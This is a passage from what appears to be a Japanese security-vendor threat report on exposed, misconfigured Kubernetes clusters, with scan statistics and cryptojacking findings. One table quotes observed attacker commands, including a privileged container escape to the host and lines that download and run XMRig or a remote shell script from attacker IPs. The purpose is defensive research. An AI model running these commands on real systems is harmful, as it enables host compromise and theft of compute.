href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kubelet-authentication-authorization\/#kubelet-authentication\">\u8a8d\u8a3c\u3092\u884c\u3046<\/a>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002API\u30b5\u30fc\u30d0\u30fc\u540c\u69d8\u3001\u69cb\u6210\u306b\u3088\u308akubelet\u304c\u672a\u8a8d\u8a3c\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u53d7\u3051\u5165\u308c\u3092\u3059\u308b\u304b\u3057\u306a\u3044\u304b\u304c\u304d\u307e\u308a\u307e\u3059\u3002\u73fe\u5728\u306eKubernetes\u306e\u5b9f\u88c5\u3067\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067<a href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kubelet-authentication-authorization\/#kubelet-authentication\">kubelet\u3078\u306e\u533f\u540d\u30a2\u30af\u30bb\u30b9<\/a>\u304c\u8a31\u53ef\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>kubelet\u306b\u516c\u5f0fAPI\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9\u30da\u30fc\u30b8\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001\u305d\u306eAPI\u306f<a href=\"https:\/\/github.com\/kubernetes\/kubernetes\/blob\/14344b57e56258e87cbe80c8cd80399855eca424\/pkg\/kubelet\/server\/server.go\">\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9<\/a>\u5185\u3067\u898b\u3064\u304b\u308a\u307e\u3059\u3002\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u3042\u308b<a href=\"https:\/\/github.com\/cyberark\/kubeletctl\">kubeletctl<\/a>\u306b\u3082kubelet\u306e\u3059\u3079\u3066\u306e<a href=\"https:\/\/github.com\/cyberark\/kubeletctl\/blob\/master\/API_TABLE.md\">API<\/a>\u306e\u8a73\u7d30\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u56f34\u3067\u306fcurl\u3092\u4f7f\u7528\u3057\u30662\u3064\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092kubelet\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u3001\u56f35\u3067\u306f\u3001<a href=\"https:\/\/github.com\/cyberark\/kubeletctl\">kubeletctl<\/a>\u3092\u4f7f\u7528\u3057\u3066\u540c\u3058\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118634\" aria-describedby=\"caption-attachment-118634\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-118635 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/word-image-90.png\" alt=\"\u56f34 curl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kubelet\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\" width=\"900\" height=\"209\" \/><figcaption id=\"caption-attachment-118634\" class=\"wp-caption-text\">\u56f34 curl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kubelet\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/figcaption><\/figure>\n<figure id=\"attachment_118636\" aria-describedby=\"caption-attachment-118636\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-118637 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/word-image-91.png\" alt=\"\u56f35 kubeletctl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kubelet\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\" width=\"900\" height=\"281\" \/><figcaption id=\"caption-attachment-118636\" class=\"wp-caption-text\">\u56f35 kubeletctl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kubelet\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/figcaption><\/figure>\n<h2>\u8aa4\u3063\u3066\u8a2d\u5b9a\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u306e\u6982\u8981<\/h2>\n<p>\u79c1\u305f\u3061\u306f\u30012020\u5e7410\u6708\u304b\u30892021\u5e742\u6708\u306b\u304b\u3051\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u308b6,400\u53f0\u306eAPI\u30b5\u30fc\u30d0\u30fc\u30681,030\u500b\u306ekubelet\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u30b5\u30fc\u30d0\u30fc\u5185\u3067\u306f\u300147,030\u500b\u306e\u30b3\u30f3\u30c6\u30ca\u300147,115\u500b\u306e\u30a4\u30e1\u30fc\u30b8\u300183,902\u500b\u306e\u30b7\u30fc\u30af\u30ec\u30c3\u30c8\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\uff08\u56f31\u53c2\u7167\uff09\u3002<\/p>\n<p>\u56f36\u301c9\u306f\u3001\u3053\u308c\u3089\u306eKubernetes\u30af\u30e9\u30b9\u30bf\u3067\u7279\u5b9a\u3055\u308c\u305f\u5730\u7406\u7684\u306a\u5834\u6240\u3001\u30b5\u30fc\u30d3\u30b9\u30d7\u30ed\u30d0\u30a4\u30c0\u3001\u30ea\u30fc\u30af\u3055\u308c\u305fAPI\u3001\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u6982\u8981\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u56f36\u306f\u3001\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u306e50\uff05\u304c\u4e2d\u56fd\u3067\u300118.2\uff05\u304c\u7c73\u56fd\u3067\u898b\u3064\u304b\u3063\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118663\" aria-describedby=\"caption-attachment-118663\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-2-jp.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-118663 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-2-jp.png\" alt=\"\u56f36 \u4e16\u754c\u4e2d\u306b\u5411\u3051\u3066\u516c\u958b\u3055\u308c\u3066\u3044\u308bKubernetes\u30af\u30e9\u30b9\u30bf\" width=\"900\" height=\"622\" \/><\/a><figcaption id=\"caption-attachment-118663\" class=\"wp-caption-text\">\u56f36 \u4e16\u754c\u4e2d\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u308bKubernetes\u30af\u30e9\u30b9\u30bf<\/figcaption><\/figure>\n<p>\u56f37\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044\u30b5\u30fc\u30d0\u30fc\u306e\u7d0465\uff05\u304c\u30d1\u30d6\u30ea\u30c3\u30af\u30af\u30e9\u30a6\u30c9\u4e0a\u306b\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30b5\u30fc\u30d0\u30fc\u306e39\uff05\u304c\u4e2d\u56fd\u3092\u62e0\u70b9\u3068\u3059\u308b\u30af\u30e9\u30a6\u30c9\u30b5\u30fc\u30d3\u30b9\u30d7\u30ed\u30d0\u30a4\u30c0\uff08CSP\uff09\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u304a\u308a\u300125.9\uff05\u304c\u7c73\u56fd\u3092\u62e0\u70b9\u3068\u3059\u308bCSP\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u7d50\u679c\u306f\u3001\u516c\u958b\u30b5\u30fc\u30d0\u30fc\u306e68\uff05\u304c\u4e2d\u56fd\u306a\u3044\u3057\u7c73\u56fd\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u56fd\u5225\u306e\u5206\u5e03\u3068\u4e00\u81f4\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118665\" aria-describedby=\"caption-attachment-118665\" style=\"width: 899px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-3-jp.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-118665 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-3-jp.png\" alt=\"\u56f37 \u30d1\u30d6\u30ea\u30c3\u30af\u30af\u30e9\u30a6\u30c9\u30b5\u30fc\u30d3\u30b9\u30d7\u30ed\u30d0\u30a4\u30c0\u306b\u304a\u3051\u308b\u516c\u958bKubernetes\u30af\u30e9\u30b9\u30bf\" width=\"899\" height=\"630\" \/><\/a><figcaption id=\"caption-attachment-118665\" class=\"wp-caption-text\">\u56f37 \u30d1\u30d6\u30ea\u30c3\u30af\u30af\u30e9\u30a6\u30c9\u30b5\u30fc\u30d3\u30b9\u30d7\u30ed\u30d0\u30a4\u30c0\u306b\u304a\u3051\u308b\u516c\u958bKubernetes\u30af\u30e9\u30b9\u30bf<\/figcaption><\/figure>\n<p>\u56f38\u306f\u3001\u533f\u540d\u3067\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308bAPI\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30b5\u30fc\u30d0\u30fc\u304c\u7570\u306a\u308b\u3068\u516c\u958b\u3055\u308c\u308bAPI\u306e\u5185\u5bb9\u3082\u7570\u306a\u308b\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u516c\u958bAPI\u30b5\u30fc\u30d0\u30fc\u306e18.3\uff05\u306f <span style=\"font-family: 'courier new', courier, monospace;\">\/api\/v1\/nodes<\/span> \u306b\u533f\u540d\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u3059\u304c\u3001\u3053\u306e\u3046\u306113.6\uff05\u306e\u307f\u304c <span style=\"font-family: 'courier new', courier, monospace;\">\/api\/apps\/v1\/deployments<\/span> \u306b\u533f\u540d\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3068\u306f\u3044\u3048\u3001\u3053\u308c\u3089API\u306e\u3044\u305a\u308c\u304b\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u5f97\u3089\u308c\u308c\u3070\u6a5f\u5fae\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3084\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e\u60c5\u5831\u304c\u6f0f\u3048\u3044\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118667\" aria-describedby=\"caption-attachment-118667\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-4-jp.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-118667 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-4-jp.png\" alt=\"\u56f38 \u533f\u540d\/\u672a\u8a8d\u8a3c\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\u3059\u308bAPI\" width=\"900\" height=\"564\" \/><\/a><figcaption id=\"caption-attachment-118667\" class=\"wp-caption-text\">\u56f38 \u533f\u540d\/\u672a\u8a8d\u8a3c\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\u3059\u308bAPI<\/figcaption><\/figure>\n<p>\u56f39\u306f\u3001\u7279\u5b9a\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002v1.12\u3001v1.13\u3001v1.16\u304c\u6700\u3082\u3088\u304f\u898b\u3089\u308c\u305f\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3001\u30c7\u30d7\u30ed\u30a4\u306e50\uff05\u3092\u3057\u3081\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6570\u5024\u304b\u3089\u306f\u3001\u30af\u30e9\u30b9\u30bf\u306e50\uff05\u304c2\u5e74\u4ee5\u4e0a\u66f4\u65b0\u3055\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002\u672c\u7a3f\u57f7\u7b46\u6642\u70b9\u3067\u306f\u3001v1.9\u304c\u5229\u7528\u53ef\u80fd\u306a\u6700\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3057\u305f\u304c\u3001\u3053\u308c\u306f\u30c7\u30d7\u30ed\u30a4\u306e2.2\uff05\u3057\u304b\u3057\u3081\u3066\u3044\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_118679\" aria-describedby=\"caption-attachment-118679\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-5-jp-1.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-118679 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-5-jp-1.png\" alt=\"\u56f39 \u516c\u958b\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\" width=\"900\" height=\"603\" \/><\/a><figcaption id=\"caption-attachment-118679\" class=\"wp-caption-text\">\u56f39 \u516c\u958b\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/figcaption><\/figure>\n<h2>\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306e\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/h2>\n<p>\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u306f\u3001\u3042\u3089\u3086\u308b\u7a2e\u985e\u306e\u653b\u6483\u306b\u5bfe\u3057\u3066\u8106\u5f31\u3067\u3059\u3002\u3068\u308a\u308f\u3051\u3001\u653b\u6483\u8005\u304c\u60aa\u610f\u306e\u3042\u308b\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30cb\u30f3\u30b0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3092\u4fb5\u5bb3\u30b3\u30f3\u30c6\u30ca\u306b\u5c55\u958b\u3059\u308b\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u653b\u6483\u306f\u3001\u3044\u305c\u3093\u3068\u3057\u3066\u6700\u3082\u3088\u304f\u898b\u3089\u308c\u307e\u3059\u3002\u79c1\u305f\u3061\u304c\u89b3\u6e2c\u3057\u305f\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u65b0\u3057\u3044\u30b3\u30f3\u30c6\u30ca\u3068\u3057\u3066\u5c55\u958b\u3055\u308c\u308b\u304b\u3001\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u5185\u3067\u8d77\u52d5\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u30b3\u30f3\u30c6\u30ca\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u5f97\u305f\u4e00\u90e8\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u6a2a\u65b9\u5411\u3084\u7e26\u65b9\u5411\u306b\u3082\u5c55\u958b\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u6a2a\u65b9\u5411\u306b\u5c55\u958b\u3057\u305f\u5834\u5408\u3001\u3088\u308a\u591a\u304f\u306e\u30b3\u30f3\u30c6\u30ca\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5236\u5fa1\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u3001\u7e26\u65b9\u5411\u306b\u5c55\u958b\u3057\u305f\u5834\u5408\u3001\u30db\u30b9\u30c8\u3042\u308b\u3044\u306f\u30af\u30e9\u30b9\u30bf\u304c\u30c7\u30d7\u30ed\u30a4\u3055\u308c\u3066\u3044\u308b\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u307e\u3067\u3082\u5236\u5fa1\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<h4>\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u306e\u30c7\u30d7\u30ed\u30a4<\/h4>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u542b\u3080\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u306e\u30c7\u30d7\u30ed\u30a4\u306f\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u304a\u3051\u308b\u653b\u6483\u958b\u59cb\u624b\u6cd5\u3068\u3057\u3066\u3088\u304f\u898b\u3089\u308c\u308b\u3082\u306e\u3067\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u306f\u4e00\u822c\u306b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\uff08OS\uff09\u306b\u4f9d\u5b58\u3057\u306a\u3044\u305f\u3081\u3001\u30b3\u30f3\u30c6\u30ca\u5316\u3055\u308c\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3069\u306e\u3088\u3046\u306a\u74b0\u5883\u3067\u3082\u7c21\u5358\u306b\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<a href=\"https:\/\/hub.docker.com\/\">Docker Hub<\/a>\u3084<a href=\"https:\/\/quay.io\/\">Quary<\/a>\u306a\u3069\u306e\u30d1\u30d6\u30ea\u30c3\u30af\u30b3\u30f3\u30c6\u30ca\u30ec\u30b8\u30b9\u30c8\u30ea\u3082\u307e\u305f\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30ca\u306e\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3084\u914d\u5e03\u3092\u3084\u308a\u3084\u3059\u304f\u3057\u3066\u3044\u307e\u3059\u3002\u5f0a\u793e\u306e\u4ee5\u524d\u306e\u8abf\u67fb\u3067\u306f\u3001Docker Hub\u306b\u591a\u6570\u306e\u60aa\u610f\u306e\u3042\u308b\u30a4\u30e1\u30fc\u30b8\u304c\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u3059\uff08\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/malicious-cryptojacking-images\/\">2000\u4e07\u306e\u30de\u30a4\u30ca\u30fc: Docker Hub\u4e0a\u3067\u60aa\u610f\u306e\u3042\u308b\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u30a4\u30e1\u30fc\u30b8\u3092\u63a2\u7d22<\/a>\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed\/\">\u30bb\u30ad\u30e5\u30a2\u3067\u306a\u3044Docker\u30c7\u30fc\u30e2\u30f3\u3078\u306e\u653b\u6483\u8005\u306e\u6226\u8853\u3068\u30c6\u30af\u30cb\u30c3\u30af\u304c\u660e\u3089\u304b\u306b \u5730\u7406\u7684\u5206\u5e03\u3067\u65e5\u672c\u306f\u5168\u4f53\u306e3.7%<\/a>\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/cryptojacking-docker-images-for-mining-monero\/\">Docker\u30a4\u30e1\u30fc\u30b8\u3092\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u3057Monero\u3092\u30de\u30a4\u30cb\u30f3\u30b0\u3059\u308b\u653b\u6483\u8005<\/a>\u306e\u5404\u30d6\u30ed\u30b0\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\uff09\u3002<\/p>\n<p>\u305f\u3060\u3057\u3001\u60aa\u610f\u306e\u306a\u3044\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u304c\u60aa\u610f\u306e\u3042\u308b\u76ee\u7684\u306b\u5229\u7528\u3055\u308c\u3066\u3057\u307e\u3046\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u6b63\u5f53\u306a\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u3067\u3042\u308b<a href=\"https:\/\/hub.docker.com\/_\/ubuntu\">Ubuntu<\/a>\u3084<a href=\"https:\/\/hub.docker.com\/_\/centos\">Centos<\/a>\u304c\u30de\u30eb\u30a6\u30a7\u30a2\u5b9f\u884c\u306b\u8ee2\u7528\u3055\u308c\u305f\u672a\u8a8d\u8a3c\u306e\u74b0\u5883\u306b\u30c7\u30d7\u30ed\u30a4\u3055\u308c\u308b\u3053\u3068\u306f\u3042\u308a\u307e\u3059\u3002\u307b\u3068\u3093\u3069\u306e\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u3053\u308c\u3089\u516c\u5f0f\u30a4\u30e1\u30fc\u30b8\u3092\u4fe1\u983c\u3057\u3066\u3044\u307e\u3059\u3002\u88681\u306f\u3001\u516c\u5f0fDocker Hub\u30a4\u30e1\u30fc\u30b8\u3092\u5229\u7528\u3057\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u69cb\u7bc9\u30fb\u30c7\u30d7\u30ed\u30a4\u3059\u308b3\u3064\u306e\u653b\u6483\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u3053\u308c\u30893\u3064\u306e\u653b\u6483\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044\u4f55\u767e\u3082\u306eKubernetes\u30af\u30e9\u30b9\u30bf\u3067\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<table style=\"width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 13.3623%;\"><strong>\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8<\/strong><\/td>\n<td style=\"width: 47.4829%;\"><strong>\u60aa\u610f\u306e\u3042\u308b\u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<td style=\"width: 38.7197%;\"><strong>\u6ce8\u610f<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 13.3623%;\"><a href=\"https:\/\/hub.docker.com\/_\/docker\">docker<\/a><\/td>\n<td style=\"width: 47.4829%;\">docker run -it --privileged --pid=host --net=host docker sh -c nsenter --mount=\/proc\/1\/ns\/mnt -- su -<\/td>\n<td style=\"width: 38.7197%;\">\u653b\u6483\u8005\u304c\u30db\u30b9\u30c8\u306e\u30d7\u30ed\u30bb\u30b9\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3001\u30de\u30a6\u30f3\u30c8\u306e\u540d\u524d\u7a7a\u9593\u3067\u7279\u6a29\u30b3\u30f3\u30c6\u30ca\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u30db\u30b9\u30c8\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u53d6\u5f97\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 13.3623%;\"><a href=\"https:\/\/hub.docker.com\/_\/centos\">centos<\/a><\/td>\n<td style=\"width: 47.4829%;\">sh -c curl -o \/var\/tmp\/xmrig http:\/\/185.144.101[.]201\/xmrig;curl -o \/var\/tmp\/config.json http:\/\/185.144.101[.]201\/222.json;chmod 777 \/var\/tmp\/xmrig;cd \/var\/tmp;.\/xmrig -c config.json<\/td>\n<td style=\"width: 38.7197%;\">\u653b\u6483\u8005\u306f<a href=\"https:\/\/xmrig.com\/\">XMRrig<\/a>\u30d0\u30a4\u30ca\u30ea\u3092Centos\u30b3\u30f3\u30c6\u30ca\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 13.3623%;\"><a href=\"https:\/\/hub.docker.com\/_\/debian\">debian<\/a><\/td>\n<td style=\"width: 47.4829%;\">sh -c echo nameserver 8.8.8.8 &gt; \/etc\/resolv.conf &amp;&amp; cat \/etc\/resolv.conf &amp;&amp; apt-get update &amp;&amp; apt-get install -y wget cron&amp;&amp;service cron start&amp;&amp; wget -q -O - http:\/\/185.92.74[.]42\/m.sh | sh;tail -f \/dev\/null<\/td>\n<td style=\"width: 38.7197%;\">\u653b\u6483\u8005\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u524d\u306b\u30c7\u30d5\u30a9\u30eb\u30c8\u306eDNS\u30ea\u30be\u30eb\u30d0\u3092\u5909\u66f4\u3057\u3001\u305d\u306e\u5f8c\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u6697\u53f7\u5316\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 12pt;\"><sup><span style=\"color: #999999;\"><em>\u88681 \u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u3067\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u3092\u884c\u3046\u30b3\u30f3\u30c6\u30ca<\/em><\/span><\/sup><\/span><\/p>\n<p>Docker Hub\u3067\u516c\u958b\u3055\u308c\u305f\u6b63\u5f53\u306a\u6697\u53f7\u901a\u8ca8\uff08\u4eee\u60f3\u901a\u8ca8\uff09\u30de\u30a4\u30cb\u30f3\u30b0\u7528\u306e\u30c4\u30fc\u30eb\u306f\u305f\u304f\u3055\u3093\u3042\u308a\u307e\u3059\u3002\u6697\u53f7\u901a\u8ca8\u306e\u611b\u597d\u5bb6\u306f\u30de\u30a4\u30cb\u30f3\u30b0\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3078\u306e\u53c2\u52a0\u306e\u305f\u3081\u306b\u3053\u3046\u3057\u305f\u30b3\u30f3\u30c6\u30ca\u3092\u3088\u304f\u5b9f\u884c\u3057\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u540c\u3058\u30a4\u30e1\u30fc\u30b8\u304c\u60aa\u7528\u3055\u308c\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002\u88682\u306f\u3001\u653b\u6483\u8005\u304cMonero\u306e\u30de\u30a4\u30cb\u30f3\u30b0\u30c4\u30fc\u30eb\u3067\u3042\u308bXMRig\u3092\u4f7f\u7528\u3057\u3001\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u30a4\u30e1\u30fc\u30b8\u306f<a href=\"https:\/\/kubernetes.io\/docs\/concepts\/workloads\/controllers\/daemonset\/\">DaemonSet<\/a>\u3068\u3057\u3066\u30c7\u30d7\u30ed\u30a4\u3055\u308c\u3066\u3044\u3066\u3001\u3059\u3079\u3066\u306e\u30ef\u30fc\u30ab\u30fc\u30ce\u30fc\u30c9\u304c\u30b3\u30f3\u30c6\u30ca\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5c11\u306a\u304f\u3068\u30821\u3064\u306f\u5b9f\u884c\u3057\u3001\u30ce\u30fc\u30c9\u304c\u30af\u30e9\u30b9\u30bf\u306b\u53c2\u52a0\u3057\u305f\u308a\u30af\u30e9\u30b9\u30bf\u304b\u3089\u96e2\u8131\u3057\u305f\u308a\u3059\u308b\u3068\u30dd\u30c3\u30c9\u304c\u81ea\u52d5\u7684\u306b\u518d\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u3066\u3042\u308a\u307e\u3057\u305f\u3002\u307e\u305f\u60aa\u610f\u306e\u3042\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u3054\u307e\u304b\u3059\u305f\u3081\u306b\u653b\u6483\u8005\u306fDaemonSet\u3092\u30